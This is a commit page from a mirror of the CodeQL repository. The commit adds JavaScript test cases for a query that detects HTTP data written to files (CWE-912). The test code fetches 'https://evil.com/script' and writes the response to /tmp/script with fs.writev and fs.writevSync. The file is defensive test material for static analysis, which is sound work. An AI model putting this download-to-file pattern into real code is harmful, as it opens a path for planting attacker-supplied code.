hohn/codeql
1
0
Fork 0
mirror of https://github.com/github/codeql.git synced 2026-04-25 08:45:14 +02:00
Code Issues Packages Projects Releases Wiki Activity

Added test cases for writev and writevSync.

Browse Source
This commit is contained in:
Napalys
2025-03-28 11:21:05 +01:00
parent e63e170ac2
commit e0c6cbb1b7
1 changed files with 13 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

13
javascript/ql/test/query-tests/Security/CWE-912/HttpToFileAccess.js
View File

@@ -6,3 +6,16 @@ https.get('https://evil.com/script', res => {
fs.writeFileSync("/tmp/script", d) // $ Alert
});
});
https.get('https://evil.com/script', res => {
res.on("data", d => { // $ MISSING: Source
fs.open("/tmp/script", 'r', (err, fd) => {
fs.writev(fd, [d], (err, bytesWritten) => { // $ MISSING: Alert
console.log(`Wrote ${bytesWritten} bytes`);
});
const bytesWritten = fs.writevSync(fd, [d]); // $ MISSING: Alert
});
});
});